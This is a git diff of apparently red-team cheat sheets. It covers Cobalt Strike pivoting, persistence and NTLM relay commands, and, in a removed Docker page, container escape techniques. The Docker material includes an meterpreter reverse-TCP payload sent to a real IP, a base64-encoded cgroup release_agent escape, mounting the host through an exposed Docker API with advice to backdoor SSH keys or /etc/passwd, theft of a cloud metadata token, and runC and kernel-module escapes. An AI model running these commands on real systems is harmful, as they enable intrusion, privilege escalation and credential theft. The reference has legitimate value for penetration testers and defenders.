> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
|
|
||||||
beacon > socks [PORT]
|
|
||||||
|
|
||||||
# Proxy browser traffic through a specified Internet Explorer process.
|
|
||||||
beacon > browserpivot [pid] [x86|x64]
|
|
||||||
|
|
||||||
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
|
|
||||||
beacon > rportfwd [bind port] [forward host] [forward port]
|
|
||||||
|
|
||||||
# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn.
|
|
||||||
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
|
|
||||||
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
|
|
||||||
|
|
||||||
# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
|
|
||||||
# then you can handle the connect back on your MSF multi handler
|
|
||||||
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
|
|
||||||
```
|
|
||||||
|
|
||||||
## Kits
|
|
||||||
|
|
||||||
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
|
|
||||||
|
|
||||||
### Elevate Kit
|
|
||||||
|
|
||||||
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
beacon> runasadmin
|
|
||||||
|
|
||||||
Beacon Command Elevators
|
|
||||||
========================
|
|
||||||
|
|
||||||
Exploit Description
|
|
||||||
------- -----------
|
|
||||||
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
|
|
||||||
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
|
|
||||||
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
|
|
||||||
svc-exe Get SYSTEM via an executable run as a service
|
|
||||||
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
|
|
||||||
uac-token-duplication Bypass UAC with Token Duplication
|
|
||||||
```
|
|
||||||
|
|
||||||
### Persistence Kit
|
|
||||||
|
|
||||||
* https://github.com/0xthirteen/MoveKit
|
|
||||||
* https://github.com/fireeye/SharPersist
|
|
||||||
```powershell
|
|
||||||
# List persistences
|
|
||||||
SharPersist -t schtaskbackdoor -m list
|
|
||||||
SharPersist -t startupfolder -m list
|
|
||||||
SharPersist -t schtask -m list
|
|
||||||
|
|
||||||
# Add a persistence
|
|
||||||
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
|
||||||
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
|
|
||||||
|
|
||||||
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
|
||||||
SharPersist -t service -n "Some Service" -m remove
|
|
||||||
|
|
||||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
|
||||||
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
|
||||||
SharPersist -t schtask -n "Some Task" -m remove
|
|
||||||
```
|
|
||||||
|
|
||||||
### Resource Kit
|
|
||||||
|
|
||||||
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
|
|
||||||
|
|
||||||
### Artifact Kit
|
|
||||||
|
|
||||||
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
|
|
||||||
|
|
||||||
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
|
|
||||||
|
|
||||||
- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
|
|
||||||
- Install the dependencies : `sudo apt-get install mingw-w64`
|
|
||||||
- Edit the Artifact code
|
|
||||||
* Change pipename strings
|
|
||||||
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
|
|
||||||
* Change Import
|
|
||||||
- Build the Artifact
|
|
||||||
- Cobalt Strike -> Script Manager > Load .cna
|
|
||||||
|
|
||||||
### Mimikatz Kit
|
|
||||||
|
|
||||||
* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
|
|
||||||
* Load the mimikatz.cna aggressor script
|
|
||||||
* Use mimikatz functions as normal
|
|
||||||
|
|
||||||
### Sleep Mask Kit
|
|
||||||
|
|
||||||
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
|
|
||||||
|
|
||||||
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
|
|
||||||
|
|
||||||
### Thread Stack Spoofer
|
|
||||||
|
|
||||||
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
|
|
||||||
|
|
||||||
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
|
|
||||||
|
|
||||||
## Beacon Object Files
|
|
||||||
|
|
||||||
> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
|
|
||||||
|
|
||||||
Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
|
|
||||||
|
|
||||||
* Compile
|
|
||||||
```ps1
|
|
||||||
# To compile this with Visual Studio:
|
|
||||||
cl.exe /c /GS- hello.c /Fohello.o
|
|
||||||
|
|
||||||
# To compile this with x86 MinGW:
|
|
||||||
i686-w64-mingw32-gcc -c hello.c -o hello.o
|
|
||||||
|
|
||||||
# To compile this with x64 MinGW:
|
|
||||||
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
|
|
||||||
```
|
|
||||||
* Execute: `inline-execute /path/to/hello.o`
|
|
||||||
|
|
||||||
## NTLM Relaying via Cobalt Strike
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
beacon> socks 1080
|
|
||||||
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
|
|
||||||
beacon> rportfwd_local 8445 <IP_KALI> 445
|
|
||||||
beacon> upload C:\Tools\PortBender\WinDivert64.sys
|
|
||||||
beacon> PortBender redirect 445 8445
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
|
|
||||||
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
|
|
||||||
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
|
|
||||||
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
|
|
||||||
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
|
|
||||||
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
|
|
||||||
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
|
|
||||||
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
|
|
||||||
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
|
|
||||||
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
|
|
||||||
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
|
|
||||||
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
|
|
||||||
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
|
|
||||||
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
|
|
||||||
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
|
|
||||||
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
|
|
||||||
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)
|
|
||||||
@@ -1,219 +1,14 @@
|
|||||||
# Docker Pentest
|
# Container - Docker
|
||||||
|
|
||||||
> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
|
:warning: Content of this page has been moved to [InternalAllTheThings/containers/docker](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/)
|
||||||
|
|
||||||
## Summary
|
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#tools)
|
||||||
|
- [Mounted Docker Socket](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#mounted-docker-socket)
|
||||||
- [Tools](#tools)
|
- [Open Docker API Port](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#open-docker-api-port)
|
||||||
- [Mounted Docker Socket](#mounted-docker-socket)
|
|
||||||
- [Open Docker API Port](#open-docker-api-port)
|
|
||||||
- [Insecure Docker Registry](#insecure-docker-registry)
|
- [Insecure Docker Registry](#insecure-docker-registry)
|
||||||
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
|
- [Exploit privileged container abusing the Linux cgroup v1](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#exploit-privileged-container-abusing-the-linux-cgroup-v1)
|
||||||
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
|
- [Abusing CAP_SYS_ADMIN capability](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-capsysadmin-capability)
|
||||||
- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file)
|
- [Abusing coredumps and core_pattern](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-coredumps-and-corepattern)
|
||||||
- [References](#references)
|
- [Breaking out of Docker via runC](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-docker-via-runc)
|
||||||
|
- [Breaking out of containers using a device file](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-containers-using-a-device-file)
|
||||||
## Tools
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#references)
|
||||||
|
|
||||||
* [Dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations
|
|
||||||
```powershell
|
|
||||||
dockscan unix:///var/run/docker.sock
|
|
||||||
dockscan -r html -o myreport -v tcp://example.com:5422
|
|
||||||
```
|
|
||||||
* [DeepCe](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
|
|
||||||
```powershell
|
|
||||||
./deepce.sh
|
|
||||||
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
|
|
||||||
./deepce.sh --no-enumeration --exploit SOCK --shadow
|
|
||||||
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
|
|
||||||
```
|
|
||||||
|
|
||||||
## Mounted Docker Socket
|
|
||||||
|
|
||||||
Prerequisite:
|
|
||||||
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
|
|
||||||
|
|
||||||
Usually found in `/var/run/docker.sock`, for example for Portainer.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
|
|
||||||
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
|
|
||||||
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
|
|
||||||
```
|
|
||||||
|
|
||||||
Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true
|
|
||||||
[+] Hunt dem Socks
|
|
||||||
[+] Hunting Down UNIX Domain Sockets from: /var/run/
|
|
||||||
[*] Valid Socket: /var/run/docker.sock
|
|
||||||
[+] Attempting to autopwn
|
|
||||||
[+] Hunting Docker Socks
|
|
||||||
[+] Attempting to Autopwn: /var/run/docker.sock
|
|
||||||
[*] Getting Docker client...
|
|
||||||
[*] Successfully got Docker client...
|
|
||||||
[+] Attempting to escape to host...
|
|
||||||
[+] Attempting in TTY Mode
|
|
||||||
chroot /host && clear
|
|
||||||
echo 'You are now on the underlying host'
|
|
||||||
chroot /host && clear
|
|
||||||
echo 'You are now on the underlying host'
|
|
||||||
/ # chroot /host && clear
|
|
||||||
/ # echo 'You are now on the underlying host'
|
|
||||||
You are now on the underlying host
|
|
||||||
/ # id
|
|
||||||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Open Docker API Port
|
|
||||||
|
|
||||||
Prerequisite:
|
|
||||||
* Docker runned with `-H tcp://0.0.0.0:XXXX`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ nmap -sCV 10.10.10.10 -p 2376
|
|
||||||
2376/tcp open docker Docker 19.03.5
|
|
||||||
| docker-version:
|
|
||||||
| Version: 19.03.5
|
|
||||||
| MinAPIVersion: 1.12
|
|
||||||
```
|
|
||||||
|
|
||||||
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ export DOCKER_HOST=tcp://10.10.10.10:2376
|
|
||||||
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
|
|
||||||
or
|
|
||||||
$ docker -H open.docker.socket:2375 ps
|
|
||||||
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
|
|
||||||
or
|
|
||||||
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
|
|
||||||
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
|
|
||||||
```
|
|
||||||
|
|
||||||
From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
|
|
||||||
|
|
||||||
|
|
||||||
## Insecure Docker Registry
|
|
||||||
|
|
||||||
Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl https://registry.example.com/v2/<image_name>/tags/list
|
|
||||||
docker pull https://registry.example.com:443/<image_name>:<tag>
|
|
||||||
|
|
||||||
# connect to the endpoint and list image blobs
|
|
||||||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
|
|
||||||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
|
|
||||||
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
|
|
||||||
# download blobs
|
|
||||||
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
|
|
||||||
# automated download
|
|
||||||
https://github.com/NotSoSecure/docker_fetch/
|
|
||||||
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
|
|
||||||
```
|
|
||||||
|
|
||||||
Access a private registry and start a container with one of its image
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
docker login -u admin -p admin docker.registry.local
|
|
||||||
docker pull docker.registry.local/wordpress-image
|
|
||||||
docker run -it docker.registry.local/wordpress-image /bin/bash
|
|
||||||
```
|
|
||||||
|
|
||||||
Access a private registry using OAuth Token from Google
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
|
|
||||||
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
|
|
||||||
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
|
|
||||||
```
|
|
||||||
|
|
||||||
## Exploit privileged container abusing the Linux cgroup v1
|
|
||||||
|
|
||||||
Prerequisite (at least one):
|
|
||||||
* `--privileged`
|
|
||||||
* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
|
|
||||||
```
|
|
||||||
|
|
||||||
Exploit breakdown :
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# On the host
|
|
||||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
|
||||||
|
|
||||||
# In the container
|
|
||||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
|
||||||
|
|
||||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
|
||||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|
||||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
|
||||||
|
|
||||||
echo '#!/bin/sh' > /cmd
|
|
||||||
echo "ps aux > $host_path/output" >> /cmd
|
|
||||||
chmod a+x /cmd
|
|
||||||
|
|
||||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
|
||||||
```
|
|
||||||
|
|
||||||
## Breaking out of Docker via runC
|
|
||||||
|
|
||||||
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
|
|
||||||
|
|
||||||
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
|
|
||||||
$ docker run --rm cve-2019-5736:malicious_image_POC
|
|
||||||
```
|
|
||||||
|
|
||||||
## Breaking out of containers using a device file
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
https://github.com/FSecureLABS/fdpasser
|
|
||||||
In container, as root: ./fdpasser recv /moo /etc/shadow
|
|
||||||
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
|
|
||||||
Outside container: ls -la /etc/shadow
|
|
||||||
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Breaking out of Docker via kernel modules loading
|
|
||||||
|
|
||||||
> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.
|
|
||||||
|
|
||||||
Exploitation:
|
|
||||||
* Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
|
|
||||||
* Build with `make`
|
|
||||||
* Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
|
|
||||||
* `cd /root` in the new container
|
|
||||||
* Insert the kernel module with `./escape`
|
|
||||||
* Run `./execute`!
|
|
||||||
|
|
||||||
Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.
|
|
||||||
|
|
||||||
* `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html).
|
|
||||||
* `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
|
|
||||||
|
|
||||||
The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.
|
|
||||||
|
|
||||||
Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).
|
|
||||||
|
|
||||||
The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
|
|
||||||
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
|
||||||
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
|
|
||||||
- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
|
|
||||||
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
|
||||||
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
|
|
||||||
- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)
|
|
||||||
- [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping)
|
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
# Container - Kubernetes
|
||||||
|
|
||||||
|
:warning: Content of this page has been moved to [InternalAllTheThings/containers/kubernetes/](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/)
|
||||||
|
|
||||||
|
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#tools)
|
||||||
|
- [Exploits](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#exploits)
|
||||||
|
- [Accessible kubelet on 10250/TCP](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#accessible-kubelet-on-10250tcp)
|
||||||
|
- [Obtaining Service Account Token](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#obtaining-service-account-token)
|
||||||
|
- [References](#references)
|
||||||
@@ -1,149 +1,16 @@
|
|||||||
# Application Escape and Breakout
|
# Application Escape and Breakout
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/escape-breakout](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/)
|
||||||
|
|
||||||
* [Gaining a command shell](#gaining-a-command-shell)
|
- [Gaining a command shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#gaining-a-command-shell)
|
||||||
* [Sticky Keys](#sticky-keys)
|
- [Sticky Keys](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#sticky-keys)
|
||||||
* [Dialog Boxes](#dialog-boxes)
|
- [Dialog Boxes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#dialog-boxes)
|
||||||
* [Creating new files](#creating-new-files)
|
- [Creating new files](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#creating-new-files)
|
||||||
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance)
|
- [Open a new Windows Explorer instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#open-a-new-windows-explorer-instance)
|
||||||
* [Exploring Context Menus](#exploring-context-menus)
|
- [Exploring Context Menus](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#exploring-context-menus)
|
||||||
* [Save as](#save-as)
|
- [Save as](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#save-as)
|
||||||
* [Input Boxes](#input-boxes)
|
- [Input Boxes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#input-boxes)
|
||||||
* [Bypass file restrictions](#bypass-file-restrictions)
|
- [Bypass file restrictions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#bypass-file-restrictions)
|
||||||
* [Internet Explorer](#internet-explorer)
|
- [Internet Explorer](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#internet-explorer)
|
||||||
* [Shell URI Handlers](#shell-uri-handlers)
|
- [Shell URI Handlers](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#shell-uri-handlers)
|
||||||
* [References](#references)
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#references)
|
||||||
|
|
||||||
## Gaining a command shell
|
|
||||||
|
|
||||||
* **Shortcut**
|
|
||||||
* [Window] + [R] -> cmd
|
|
||||||
* [CTRL] + [SHIFT] + [ESC] -> Task Manager
|
|
||||||
* [CTRL] + [ALT] + [DELETE] -> Task Manager
|
|
||||||
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
|
|
||||||
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
|
|
||||||
